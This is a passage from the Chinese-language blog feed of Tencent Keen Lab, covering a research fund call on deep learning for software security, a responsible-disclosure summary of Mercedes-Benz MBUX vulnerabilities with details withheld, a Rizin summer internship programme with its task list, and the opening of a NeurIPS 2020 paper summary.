href="https://www.ccf.org.cn/Media_list/ccf/2021-05-14/728588.shtml">2021年CCF-腾讯犀牛鸟基金</a>项目中，腾讯安全科恩实验室继续开放“深度学习在软件安全领域的应用研究”课题方向申请。科恩期待与更多在“安全+AI”领域深入研究的高校青年教师合作，碰撞出利用AI算法解决安全实际场景问题的更多火花。</p><h2 id="“深度学习在软件安全领域的应用研究”课题"><a href="#“深度学习在软件安全领域的应用研究”课题" class="headerlink" title="“深度学习在软件安全领域的应用研究”课题"></a>“深度学习在软件安全领域的应用研究”课题</h2><p>本年度犀牛鸟基金继续以人工智能技术为主要研究方向，强调其在医疗健康、能源保障、材料研发、信息安全等民生领域的技术融合与应用，并涉及多源信息融合、博弈论、密码学等领域前沿课题。<br>腾讯安全科恩实验室在本次犀牛鸟中启动“深度学习在软件安全领域的应用研究”课题方向申请，相关信息如下：</p><h3 id="深度学习在软件安全领域的应用研究"><a href="#深度学习在软件安全领域的应用研究" class="headerlink" title="深度学习在软件安全领域的应用研究"></a>深度学习在软件安全领域的应用研究</h3><p>随着软件复杂度的不断提升，大规模源代码和二进制软件的漏洞挖掘工作面临新的机遇和挑战。本命题希望把深度学习相关技术（例如自然语言处理、图神经网络、深度强化学习等）应用于软件安全研究中，其成果可以对传统的逆向工程、模糊测试、漏洞挖掘等有较大促进。</p><h3 id="建议研究方向"><a href="#建议研究方向" class="headerlink" title="建议研究方向"></a>建议研究方向</h3><ul><li>计算机语言的表征和分类研究，例如识别二进制软件对应的编译器、编译优化选项、第三方库、开发作者等信息。</li><li>计算机语言的自动生成和翻译技术研究，例如自动生成用于编译器(解释器)模糊测试的符合语法结构的程序代码；利用机器翻译技术实现二进制和源代码之间的相互翻译工作。</li><li>基于程序语义表征的安全属性分析研究，例如代码相似性分析、API 误用分析、已知&#x2F; 未知漏洞检索等。</li><li>二进制可执行文件的软件成分分析，如第三方库及其版本号等的分析与识别。</li></ul><h2 id="申报条件"><a href="#申报条件" class="headerlink" title="申报条件"></a>申报条件</h2><p>本基金将面向符合如下条件的海内外高校及科研院所青年学者展开：</p><ul><li>男性申请人是1985年1月1日（含），女性申请人是1980年1月1日（含）之后出生的高校&#x2F;科研院所在职的全职教师或研究人员。</li><li>硕士&#x2F;博士毕业后在高校&#x2F;科研院所累计任职时间，男性不超过5年，女性不超过10年。</li><li>能独立进行研究工作，并带领学生团队共同参与课题研究与实践。</li></ul><h2 id="申报方式"><a href="#申报方式" class="headerlink" title="申报方式"></a>申报方式</h2><p><strong>申报截止时间：</strong>2021年6月15日 24:00（北京时间）<br><strong>申报方式：</strong>点击<a href="https://www.ccf.org.cn/Media_list/ccf/2021-05-14/728588.shtml">2021年CCF-腾讯犀牛鸟基金介绍主页</a>查看《2021年CCF-腾讯犀牛鸟基金项目申报指南》，填写并上传《申报表》提交申请。<br><strong>注意事项：</strong></p><ul><li>每位申请人限提交一份申请，已获得上一年度科研基金资助的项目负责人需隔一年再提交申请。</li><li>申请人在申报前需确认所在高校&#x2F;科研院所可以作为项目依托单位签署科研合作协议，申请人本人可以作为项目负责人签署项目保密协议等相关承诺文件。</li></ul><p>更多申报主题信息请关注<a href="https://ur.tencent.com/">腾讯高校合作官方网站</a>。任何针对项目申报的问题，请联系基金项目负责人邸欣晨。<br>电子邮箱：<a href="mailto:&#x78;&#x69;&#x6e;&#99;&#x68;&#101;&#x6e;&#x64;&#105;&#64;&#116;&#101;&#x6e;&#99;&#101;&#110;&#x74;&#46;&#x63;&#x6f;&#109;">&#x78;&#x69;&#x6e;&#99;&#x68;&#101;&#x6e;&#x64;&#105;&#64;&#116;&#101;&#x6e;&#99;&#101;&#110;&#x74;&#46;&#x63;&#x6f;&#109;</a>。</p><p>欢迎广大青年学者关注并申报本年度犀牛鸟基金。</p><h2 id="引用"><a href="#引用" class="headerlink" title="引用"></a>引用</h2><p>[1]<a href="https://www.ccf.org.cn/Media_list/ccf/2021-05-14/728588.shtml">https://www.ccf.org.cn/Media_list/ccf/2021-05-14/728588.shtml</a><br>[2]<a href="https://ur.tencent.com/">https://ur.tencent.com/</a><br>[3]<a href="https://keenlab.tencent.com/zh/2019/03/29/Tencent-Keen-Security-Lab-Experimental-Security-Research-of-Tesla-Autopilot/">https://keenlab.tencent.com/zh/2019/03/29/Tencent-Keen-Security-Lab-Experimental-Security-Research-of-Tesla-Autopilot/</a><br>[4]<a href="https://keenlab.tencent.com/zh/2019/12/10/Tencent-Keen-Security-Lab-Order-Matters/">https://keenlab.tencent.com/zh/2019/12/10/Tencent-Keen-Security-Lab-Order-Matters/</a>)<br>[5]<a href="https://keenlab.tencent.com/zh/2020/11/03/neurips-2020-cameraready/">https://keenlab.tencent.com/zh/2020/11/03/neurips-2020-cameraready/</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/ccf-keenlab-2021/ccf-2021.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://www.ccf.org.cn/Media_list/ccf/2021-05-14/728588.shtml&quot;&gt;CCF-腾讯犀牛鸟基金&lt;/a&gt;（以下简称犀牛鸟基金）于2013年由腾讯公司和中国计算机学会（CCF）共同发起，致力于面向海内外青年学者搭建产学研合作及学术交流的平台。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;9年来，犀牛鸟基金为全球范围内最具创新力的青年学者提供了解产业真实问题，接触业务实际需求的机会，并通过连接青年学者与企业研发团队的产学科研合作，推动双方学术影响力的提升及研究成果的应用落地，为自主研发技术的探索和创新储备能量。&lt;/em&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="KeenLab" scheme="https://keenlab.tencent.com/zh/tags/KeenLab/"/>
    
    <category term="AI" scheme="https://keenlab.tencent.com/zh/tags/AI/"/>
    
  </entry>
  
  <entry>
    <title>腾讯科恩实验室：梅赛德斯-奔驰汽车信息安全研究综述报告</title>
    <link href="https://keenlab.tencent.com/zh/2021/05/12/Tencent-Security-Keen-Lab-Experimental-Security-Assessment-on-Mercedes-Benz-Cars/"/>
    <id>https://keenlab.tencent.com/zh/2021/05/12/Tencent-Security-Keen-Lab-Experimental-Security-Assessment-on-Mercedes-Benz-Cars/</id>
    <published>2021-05-12T06:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.843Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/Tencent-Security-Keen-Lab-Experimental-Security-Assessment-on-Mercedes-Benz-Cars/pic_1.jpg"></p><p>腾讯安全科恩实验室遵循白帽黑客准则对梅赛德斯-奔驰汽车智能互联系统进行信息安全研究。在对其最新车载信息娱乐系统MBUX的软硬件进行全面深入的研究后，科恩实验室发现多个相关漏洞并成功在车载信息娱乐系统（Head Unit）和车载通讯模块（T-Box）的部分攻击面上实现利用。科恩实验室第一时间向戴姆勒报告本研究中发现的所有漏洞技术细节并协助进行漏洞修复。</p><span id="more"></span><h2 id="研究简介"><a href="#研究简介" class="headerlink" title="研究简介"></a>研究简介</h2><p>MBUX是梅赛德斯-奔驰最新的车载信息娱乐系统，自2018年A级车中首次推出后，陆续在梅赛德斯-奔驰E级、GLE、GLS、EQC等车型搭载上市。</p><p>在本次研究中，我们对MBUX的硬件以及软件做了深入和全面的分析。通过收集技术资料并搭建测试环境，我们分析了多个攻击面并进行相关安全测试。</p><p>现代信息娱乐系统比以往更强大、复杂和安全，梅赛德斯-奔驰的MBUX也不例外。目前，未有任何公开资料对现代车载娱乐系统进行全面的安全性分析。因此，本次研究的定位是进行更广泛的安全性评估，而非单个安全性渗透测试。我们详尽地研究了包括无线电等组件的多个攻击面。</p><p>经过研究测试，我们在MBUX上发现多个相关漏洞，并成功在车载信息娱乐系统（Head Unit）和车载通讯模块（T-Box）的部分攻击面上实现利用。在实验环境中，我们首先通过物理接触获得车机权限，以此为前提实现车载信息娱乐系统（Head Unit）远程控制。继而我们能够远程控制车辆的某些功能，例如更改内部氛围灯的颜色，在信息娱乐屏幕上显示图像等。同时，在调试版本的车载通讯模块（T-Box）上，我们能够入侵T-Box上的内部芯片，可以实现发送任意CAN数据。</p><p><img src="/zh/img/Tencent-Security-Keen-Lab-Experimental-Security-Assessment-on-Mercedes-Benz-Cars/pic_2.gif"></p><h2 id="漏洞信息"><a href="#漏洞信息" class="headerlink" title="漏洞信息"></a>漏洞信息</h2><p>腾讯安全科恩实验室在第一时间向戴姆勒报告了本研究中发现的所有漏洞技术细节，目前所有漏洞细节和攻击方法均已得到戴姆勒官方确认。科恩实验室感谢戴姆勒对我们漏洞报告的及时响应以及对漏洞修复积极负责的态度。在整个过程中，科恩与戴姆勒保持紧密高效地合作。</p><p>考虑到潜在的安全风险，本次披露隐去漏洞详细信息，以下是戴姆勒确认的CVE漏洞列表:</p><p><img src="/zh/img/Tencent-Security-Keen-Lab-Experimental-Security-Assessment-on-Mercedes-Benz-Cars/pic_3.png"></p><h2 id="负责任的披露流程"><a href="#负责任的披露流程" class="headerlink" title="负责任的披露流程"></a>负责任的披露流程</h2><p>腾讯安全科恩实验室在本次对梅赛德斯-奔驰汽车的信息安全研究项目中，严格遵守全球软件和互联网行业公认的“负责任的漏洞披露原则”, 并协助戴姆勒及时修复本次报告中涉及的漏洞。</p><p>整个漏洞披露流程涉及的具体时间节点如下所示：</p><p><strong>2020年3月</strong>：科恩实验室内部启动了梅赛德斯·奔驰研究项目。<br><strong>2020年11月</strong>：在实验环境中，科恩实验室验证所有发现的漏洞及相应攻击链。<br><strong>2020年12月21日</strong>：科恩实验室向戴姆勒发送了第一封电子邮件。<br><strong>2020年12月24日</strong>：科恩实验室以安全的方式向戴姆勒安全团队报告了所有研究结果。<br><strong>2021年1月7日</strong>：科恩实验室和戴姆勒首次通话。<br><strong>2021年1月15日</strong>：戴姆勒安全团队确认了科恩实验室报告的全部漏洞。 戴姆勒表示这些漏洞的一些修复程序已经可用，并且正在发布中。<br><strong>2021年1月21日</strong>：戴姆勒安全团队申请了5个CVE。<br><strong>2021年1月30日</strong>：戴姆勒安全团队确认并开始推出新的修复程序。<br><strong>2021年2月&#x2F;3月</strong>：准备联合发布。<br><strong>2021年5月</strong>：此报告向公众发布。</p><h2 id="戴姆勒安全团队对本次研究的回应"><a href="#戴姆勒安全团队对本次研究的回应" class="headerlink" title="戴姆勒安全团队对本次研究的回应"></a>戴姆勒安全团队对本次研究的回应</h2><p>戴姆勒团队对于此次研究的官方回复请参考如下链接：<br><a href="https://media.daimler.com/marsMediaSite/ko/en/49946866">https://media.daimler.com/marsMediaSite/ko/en/49946866</a></p><p>戴姆勒团队充分认可腾讯安全科恩实验室在安全领域国际一流的专业度和技术实力。为感谢科恩在梅赛德斯-奔驰汽车相关信息安全研究中取得的优异成果，戴姆勒股份公司首席信息安全官Daniel Eitler及梅赛德斯-奔驰乘用车车辆信息技术安全负责人Adi Ofek为科恩实验室颁发签名致谢函。</p><p><img src="/zh/img/Tencent-Security-Keen-Lab-Experimental-Security-Assessment-on-Mercedes-Benz-Cars/pic_4.jpg"></p><h2 id="技术研究白皮书"><a href="#技术研究白皮书" class="headerlink" title="技术研究白皮书"></a>技术研究白皮书</h2><p>如果想进一步了解科恩实验室对梅赛德斯-奔驰汽车信息安全研究项目，可以通过以下链接查看本次研究技术白皮书：<br><a href="/en/whitepapers/Mercedes_Benz_Security_Research_Report_Final.pdf">Mercedes-Benz MBUX Security Research Report.pdf</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/Tencent-Security-Keen-Lab-Experimental-Security-Assessment-on-Mercedes-Benz-Cars/pic_1.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;腾讯安全科恩实验室遵循白帽黑客准则对梅赛德斯-奔驰汽车智能互联系统进行信息安全研究。在对其最新车载信息娱乐系统MBUX的软硬件进行全面深入的研究后，科恩实验室发现多个相关漏洞并成功在车载信息娱乐系统（Head Unit）和车载通讯模块（T-Box）的部分攻击面上实现利用。科恩实验室第一时间向戴姆勒报告本研究中发现的所有漏洞技术细节并协助进行漏洞修复。&lt;/p&gt;</summary>
    
    
    
    
    <category term="CarHacking" scheme="https://keenlab.tencent.com/zh/tags/CarHacking/"/>
    
  </entry>
  
  <entry>
    <title>RSoC-科恩编程之夏申请通道正式开启</title>
    <link href="https://keenlab.tencent.com/zh/2021/03/04/RSoC-keenlab-2021/"/>
    <id>https://keenlab.tencent.com/zh/2021/03/04/RSoC-keenlab-2021/</id>
    <published>2021-03-04T04:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.842Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/RSoC-keenlab-2021/rsoc.jpg"></p><p>科恩暑期开源程序设计项目-RSoC(Rizin Summer of Code)是由腾讯安全科恩实验室与国际二进制开源逆向工程框架Rizin联合举办的一场开源程序设计项目，旨在为有能力的高校学生提供大型项目参与机会。</p><p>通过线上笔试（micro-tasks）的各大高校参与者将有机会被录用为科恩实验室暑期实习生，以国际开源逆向工程框架<a href="https://rizin.re/">Rizin</a>为研究主体，在七月中旬开始以线下的形式进行一场为期三个月的程序设计项目。</p><p>期待一个跃跃欲试的你加入科恩大家庭，与小伙伴们一起玩转二进制黑魔法。</p><span id="more"></span><p><strong>导师阵容</strong>：<br>Anton Kochkov(<a href="https://twitter.com/akochkov">@akochkov</a>)：科恩实验室成员、开源框架Rizin核心成员<br>leonxlfang：科恩实验室成员<br>davendu：科恩实验室成员</p><p>**<a href="#micro-tasks%E5%88%97%E8%A1%A8">micro-tasks内容</a>**：<br>围绕<a href="https://rizin.re/">Rizin</a>开展轻量issue任务</p><h2 id="流程-参与方式"><a href="#流程-参与方式" class="headerlink" title="流程&amp;参与方式"></a>流程&amp;参与方式</h2><h3 id="关键时间节点"><a href="#关键时间节点" class="headerlink" title="关键时间节点"></a>关键时间节点</h3><ul><li>简历投递 3月4日-5月1日 （后续流程滚动进行）</li><li>初审 3月4日-5月1日</li><li>笔试(micro-tasks) 3月4日-5月1日</li><li>项目开启 7月15前</li><li>项目评审 9月初</li></ul><h3 id="参与要求"><a href="#参与要求" class="headerlink" title="参与要求"></a>参与要求</h3><p>a. 22届及之后高校生<br>b. 熟悉C语言，掌握开发workflow，例如：git,CI&#x2F;CD<br>c. 加分项：有扎实的逆向基础</p><h3 id="参与方式"><a href="#参与方式" class="headerlink" title="参与方式"></a>参与方式</h3><h4 id="简历投递"><a href="#简历投递" class="headerlink" title="简历投递"></a>简历投递</h4><p>在报名周期内（3.4-5.1），选择官方博客所列初审<a href="#micro-tasks%E5%88%97%E8%A1%A8">micro-tasks项目</a>作为笔试题目，备注所选项目名投递简历至腾讯招聘官网。</p><p>简历投递入口：<a href="https://join.qq.com/">腾讯招聘官网</a>→ 实习生招聘 → 实习生<br>岗位选择: 安全技术<br>简历填写须知：除个人信息外，请注意以下几点：</p><ol><li>意向事业群及部门选择：CSIG事业群→腾讯安全</li><li>面试城市：远程面试</li><li>期望工作地点：上海</li><li>请在<strong>补充信息处</strong>填写：<br> 意向部门：腾讯安全科恩实验室<br> 初审题目名称：XXX（你所选择的micro-tasks项目，例如：ELF binary parsing )</li></ol><p><strong>ps</strong>: 请注意简历填写的4点须知，填写信息不完整我们将有可能错失你的简历。</p><h4 id="笔试初审"><a href="#笔试初审" class="headerlink" title="笔试初审"></a>笔试初审</h4><p>科恩会在收到投递简历后进行初步审核，审核通过后科恩将发起笔试邀约。<br>笔试题目为你所选择的micro-tasks任务，micro-tasks围绕Rizin开展轻量issue任务，预期在两周内完成。<br>参与同学需独立完成micro-tasks题目，并在截止日期（截止日期以官方招聘通知为准）之前提交笔试内容，大致包括：</p><ol><li>micro-tasks题目的完成说明书，包括但不限于：遇到的困难以及解决方案、心得。</li><li>项目github链接。</li></ol><p>科恩将在笔试提交后2周左右给出评审结果，面试有micro-tasks笔试+hr面<strong>两道流程</strong>，通过的候选人将有机会获得腾讯科恩实验室<strong>暑期offer</strong>，进行后续暑期项目。<br><strong>ps</strong>: 此专项笔试和集团统一笔试互不影响，仅作为RSoC项目选拔方式。</p><h4 id="暑期项目"><a href="#暑期项目" class="headerlink" title="暑期项目"></a>暑期项目</h4><p>通过面试的同学将以科恩正式实习生的身份与导师共同开启以Rizin为主体的项目研究现场实习。<br>入选的同学需要在7月15号前启动项目，且项目持续时间不少于两个月。<br>项目研究同学享受腾讯正式实习生待遇，根据项目表现情况有机会<strong>获取转正资格</strong>。</p><h4 id="项目复盘"><a href="#项目复盘" class="headerlink" title="项目复盘"></a>项目复盘</h4><p>科恩将在9月初举办RSoC项目中期汇报，根据汇报情况作出评价，发放奖励。中期汇报结束后，参与者可根据自身情况继续实习或参与线上跟进项目，当项目完成，科恩将组织一场总汇报为RSoC2021画上句号。</p><h2 id="奖励-收获"><a href="#奖励-收获" class="headerlink" title="奖励&amp;收获"></a>奖励&amp;收获</h2><p>你将获得参与国际开源项目编程的经验，与国际优秀coder共同为开源项目做贡献。<br>你将收获科恩实验室导师一枚，与导师一起研究炫酷二进制黑魔法。<br>你将有机会斩获腾讯科恩实验室实习生录用offer，在腾云大厦与实验室小伙伴学习交流，获得一份不错的实习经历。</p><h2 id="关于科恩-Rizin"><a href="#关于科恩-Rizin" class="headerlink" title="关于科恩&amp;Rizin"></a>关于科恩&amp;Rizin</h2><p>腾讯科恩实验室<br>腾讯科恩实验室作为腾讯集团云与智慧产业事业群旗下一支国际一流的信息安全团队，技术实力和研究成果处于国际领先水平。近年来，更是在IoT安全、网联汽车与自动驾驶安全、云计算和虚拟化技术安全等领域取得突破性成果。随着更多新技术进入产业互联网，腾讯科恩实验室继续保持领先的前沿技术研究能力，同时向智能网联汽车、安卓应用生态、IoT等行业开放核心技术能力和行业解决方案。护航各行业数字化变革，守护全网用户的信息安全是腾讯科恩实验室的使命。</p><p><a href="https://rizin.re/">Rizin</a><br>Rizin是项类unix的逆向工程框架和命令行工具集，是来自世界各地的优秀编程极客的思想结晶，由国际知名免费开源逆向工程框架Radare2提取分支而来。Rizin持有二进制文件分析，反汇编代码，调试程序…等等功能，致力于为使用者提供一个可用性强、稳定性高的优秀工具。</p><h2 id="FAQ"><a href="#FAQ" class="headerlink" title="FAQ"></a>FAQ</h2><p><strong>项目答疑讨论QQ群</strong>：181504148</p><p><strong>与常规实习招聘的区别是什么？</strong><br>    本次招聘与腾讯官方暑期实习招聘性质相同，offer将区分应届生与非应届发送，你也有机会获得转正资格。<br>    本次招聘流程简化为一次笔试+一次hr面。<br>    本次招聘的本质还是暑期项目程序设计，你将与导师协作完成项目，不做大厂螺丝钉。</p><p><strong>初审评审依据是什么？</strong><br>    导师会根据学生的实际开发情况、开发任务难度综合考虑。</p><p><strong>可以以小组的形式提交初审吗？</strong><br>    不能，该项目以个人形式进行，我们希望你能真诚独立完成测试~</p><p><strong>我将以什么形式获得结果告知？</strong><br>    下发笔试、初审结果、hr面试都将以邮件形式告知，请注意邮件消息哦~</p><p><strong>我可以线上跟进项目吗？</strong><br>    参与最终项目的同学将获得腾讯科恩实验室的实习生offer，为了你能获得更多经验，我们建议你来到上海腾云大厦与大家共同学习。</p><p><strong>我需要什么基础才能通过初审？</strong><br>    RSoC是以Rizin项目为核心，为其解决缺陷，贡献代码，而Rizin是C写的开源项目，所以你需要懂整体的开发workflow，比如git, CI&#x2F;CD。与此同时，Rizin本身是一款逆向工具，所以，你也需要对逆向方面的理论支持，总体偏底层硬核架构方面。一句话概括就是主开发，懂逆向。</p><h2 id="micro-tasks列表"><a href="#micro-tasks列表" class="headerlink" title="micro-tasks列表"></a>micro-tasks列表</h2><p>由于本次项目主体为国际开源框架，为了确保项目对接顺利，笔试(micro-tasks)以及暑期项目都将以全英文形式进行。</p><h3 id="1-File-formats"><a href="#1-File-formats" class="headerlink" title="1.File formats"></a>1.File formats</h3><p>Implementing the support for any new file format counts as a microtask. See <a href="https://github.com/rizinorg/ideas/labels/New%20File%20Format">New File-Format</a> label for pending issues.</p><h3 id="2-ELF-binary-parsing"><a href="#2-ELF-binary-parsing" class="headerlink" title="2.ELF binary parsing."></a>2.ELF binary parsing.</h3><p>Rizin parses a lot of information about the ELF but doesn’t print everything.<br>Thus, the improving the output of <code>i*</code> commands and <code>rz-bin</code> tool is important to match up with <code>readelf</code>:</p><ul><li><a href="https://github.com/rizinorg/rizin/issues/404">Add file section type and more flags for sections information (<code>iS</code>command)</a></li><li><a href="https://github.com/rizinorg/rizin/issues/403">Add file offset and memory alignment for segments information (<code>iSS</code> command)</a></li><li><a href="https://github.com/rizinorg/rizin/issues/400">Preserve valid names for symbols and sections</a></li></ul><h3 id="3-Analysis"><a href="#3-Analysis" class="headerlink" title="3.Analysis"></a>3.Analysis</h3><p>The current code analysis has many caveats and issues which need addressing. Fixing them and writing more tests is important to stabilize and enhance rizin’s analysis engine.</p><p><a href="https://github.com/rizinorg/rizin/labels/RzAnalysis">See these issues</a> or the <a href="https://github.com/rizinorg/rizin/projects/4">“Analysis” project</a> on our GitHub dashboard.</p><h5 id="Basefind-413"><a href="#Basefind-413" class="headerlink" title="Basefind #413"></a>Basefind <a href="https://github.com/rizinorg/rizin/issues/413">#413</a></h5><p>There are plenty of external scripts and plugins for finding the most probable base for raw firmware images. Opening raw firmwares with rizin is a common use case, so it makes sense to implement it as a part of rizin core.</p><h3 id="4-Class-analysis-for-C-ObjectiveC-Swift-Dlang-Java-416"><a href="#4-Class-analysis-for-C-ObjectiveC-Swift-Dlang-Java-416" class="headerlink" title="4.Class analysis for C++&#x2F;ObjectiveC&#x2F;Swift&#x2F;Dlang&#x2F;Java #416"></a>4.Class analysis for C++&#x2F;ObjectiveC&#x2F;Swift&#x2F;Dlang&#x2F;Java <a href="https://github.com/rizinorg/rizin/issues/416">#416</a></h3><p>Analysis classes, accessible under the <code>ac</code> command, is a relatively new feature of rizin.<br>They provide a way to both manually and automatically manage and use information about classes in the binary.</p><h5 id="Devirtualize-method-calls-using-class-vtables-414"><a href="#Devirtualize-method-calls-using-class-vtables-414" class="headerlink" title="Devirtualize method calls using class vtables #414"></a>Devirtualize method calls using class vtables <a href="https://github.com/rizinorg/rizin/issues/414">#414</a></h5><p>Consider the following call: <code>call dword [eax + 0x6c]</code><br>Let’s assume eax is the base pointer of a vtable we have saved in class analysis and we want to find out the actual address of the called method.</p><p>So there should be a command that takes the offset (in this case 0x6c) and looks up the actual destination.<br>It should be possible to call this command with a specific class, so it only looks into its vtable, or without a class, so it gives a list of possible destinations for all vtables that are not too small for the offset.</p><p>When that is implemented, one could also add a command that does the same thing, but automatically takes the offset from the opcode at the current seek.</p><h5 id="Add-classes-list-to-Vb"><a href="#Add-classes-list-to-Vb" class="headerlink" title="Add classes list to Vb"></a>Add classes list to <code>Vb</code></h5><p><code>Vb</code> already supports browsing bin classes. The same thing should be implemented for classes from<br>analysis.</p><h3 id="5-Signatures"><a href="#5-Signatures" class="headerlink" title="5.Signatures"></a>5.Signatures</h3><p>Rizin has a good support for loading and creating signatures, but it is not yet complete, thus some<br>problems remain, for example: <a href="https://github.com/rizinorg/rizin/issues/272">#272</a>.</p><p>As Rizin supports FLIRT signatures loading from IDA Pro, <a href="https://github.com/rizinorg/rizin/issues/417">not all of them are supported yet - e.g. version 5 compression</a>.</p><h3 id="6-Refactoring"><a href="#6-Refactoring" class="headerlink" title="6.Refactoring"></a>6.Refactoring</h3><h5 id="Use-internal-API-instead-of-commands"><a href="#Use-internal-API-instead-of-commands" class="headerlink" title="Use internal API instead of commands"></a>Use internal API instead of commands</h5><p>Currently, Rizin’s source code is rife with calls to <code>rz_core_cmd()</code>-like functions, that run the Rizin command. While it is a useful shortcut for developer, it makes a good source of the potential bugs in case of the command syntax or behavior change. If these changes happen they are invisible to the compiler, so it cannot warn on the changed syntax. It isn’t the case of changed function arguments count or type.<br> Thus, all these calls eventually should be substituted with direct calls to the corresponding API<br> functions. If there is no corresponding API funciton, then one should be created.<br> Good examples of such cases are:</p><ul><li><a href="https://github.com/rizinorg/rizin/issues/397">Refactor Graph processing from commands to the API use</a></li><li><a href="https://github.com/rizinorg/rizin/issues/382">Refactor Visual mode from commands to the API use</a></li><li><a href="https://github.com/rizinorg/rizin/issues/383">Refactor Panels mode from commands to the API use</a></li></ul><p>In general you can just search for <code>rz_core_cmd</code> pattern in any place inside <code>librz/</code>.</p><h5 id="Improving-the-uplifting-of-the-code-to-IL"><a href="#Improving-the-uplifting-of-the-code-to-IL" class="headerlink" title="Improving the uplifting of the code to IL"></a>Improving the uplifting of the code to IL</h5><p>Rizin has its own intermediate language - ESIL, but not yet support it for all architectures. So<br>the task is to add ESIL support to any architecture, which doesn’t has it yet.</p><h3 id="7-Miscellanous"><a href="#7-Miscellanous" class="headerlink" title="7.Miscellanous"></a>7.Miscellanous</h3><h5 id="Improving-regression-suite-and-testing"><a href="#Improving-regression-suite-and-testing" class="headerlink" title="Improving regression suite and testing"></a>Improving regression suite and testing</h5><p>It is required to solve <a href="https://github.com/rizinorg/rizin/labels/rz-test">numerous issues</a>, along with improving parallel execution and performance.<br>Good example is to allow better filtering of the test types to run, for example to <a href="https://github.com/rizinorg/rizin/issues/336">ignore debug tests</a>.<br>The next interesting idea is to setup and reuse Godbolt compilation engine for generating tests for different compilers and compilation options. There is even a command line tool for interacting with Godbolt - <a href="https://github.com/ethanhs/cce">cce</a>.</p><p>Another important part of the improving test suite is to cover more different formats and cases with<br>expanding it. See the <a href="https://github.com/rizinorg/rizin/issues/114">#114 issue</a> with more details on how it can be done.</p><h3 id="8-RzGhidra"><a href="#8-RzGhidra" class="headerlink" title="8.RzGhidra"></a>8.RzGhidra</h3><p>There are many small issues in the decompiler output:</p><ul><li><a href="https://github.com/rizinorg/rz-ghidra/issues/85">String detection problem</a> and <a href="https://github.com/rizinorg/rz-ghidra/issues/73">one more</a>.</li><li><a href="https://github.com/rizinorg/rz-ghidra/issues/74">Show function arguments in calls</a></li><li><a href="https://github.com/rizinorg/rz-ghidra/issues/172"><code>pdgsd</code> commands showing incorrect P-code</a></li><li><a href="https://github.com/rizinorg/rz-ghidra/issues/167">Prioritize keeping vars with lower addresses</a></li><li><a href="https://github.com/rizinorg/rz-ghidra/issues/133">Minor improvements for the SLEIGH plugin</a></li></ul><p>Some of these issues might be related on how Rizin and RzGhidra integrate and might require changes<br>in the Rizin side.</p><p>Also note, that most of these issues should be paired with the test to verify it will not break in<br>the future.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/RSoC-keenlab-2021/rsoc.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;科恩暑期开源程序设计项目-RSoC(Rizin Summer of Code)是由腾讯安全科恩实验室与国际二进制开源逆向工程框架Rizin联合举办的一场开源程序设计项目，旨在为有能力的高校学生提供大型项目参与机会。&lt;/p&gt;
&lt;p&gt;通过线上笔试（micro-tasks）的各大高校参与者将有机会被录用为科恩实验室暑期实习生，以国际开源逆向工程框架&lt;a href=&quot;https://rizin.re/&quot;&gt;Rizin&lt;/a&gt;为研究主体，在七月中旬开始以线下的形式进行一场为期三个月的程序设计项目。&lt;/p&gt;
&lt;p&gt;期待一个跃跃欲试的你加入科恩大家庭，与小伙伴们一起玩转二进制黑魔法。&lt;/p&gt;</summary>
    
    
    
    
    <category term="KeenLab" scheme="https://keenlab.tencent.com/zh/tags/KeenLab/"/>
    
  </entry>
  
  <entry>
    <title>科恩实验室最新NeurIPS-2020论文解读：基于跨模态检索的二进制代码-源代码匹配</title>
    <link href="https://keenlab.tencent.com/zh/2020/11/03/neurips-2020-cameraready/"/>
    <id>https://keenlab.tencent.com/zh/2020/11/03/neurips-2020-cameraready/</id>
    <published>2020-11-03T04:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.843Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/neurips-2020-cameraready/head.png"></p><span id="more"></span><h2 id="导语"><a href="#导语" class="headerlink" title="导语"></a>导语</h2><p>在NeurIPS 2020中，腾讯安全科恩实验室使用AI算法解决二进制安全问题的《CodeCMR: Cross-Modal Retrieval For Function-Level Binary Source Code Matching》论文成功入选。本论文首次提出了基于AI的二进制代码&#x2F;源代码端到端匹配算法，与传统算法相比效果非常出色，准确率大幅提升。本论文成果为逆向分析领域提供了新的思路，大大提升工业部署效率。最新论文研究成果也将应用于腾讯安全科恩实验室研发的代码检索工具BinaryAI，使用体验请关注：<a href="https://github.com/binaryai/sdk">https://github.com/binaryai/sdk</a>。</p><h2 id="关于NeurIPS会议"><a href="#关于NeurIPS会议" class="headerlink" title="关于NeurIPS会议"></a>关于NeurIPS会议</h2><p>机器学习和计算神经科学领域的NeurIPS会议是人工智能领域最具影响力的顶级学术会议之一，备受学者们的关注。国际顶级会议NeurIPS 2020将于2020年12月7日-12日在线上举行。据统计，NeurIPS 2020收到投稿9454篇，创历史最高纪录，接收论文1900篇，论文接收率仅有历史最低的20.1%。</p><h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>论文链接：<a href="/zh/whitepapers/neurips-2020-cameraready.pdf">CodeCMR: Cross-Modal Retrieval For Function-Level Binary Source Code Matching</a><br>在人工智能顶级学术会议AAAI 2020中，腾讯安全科恩实验室<a 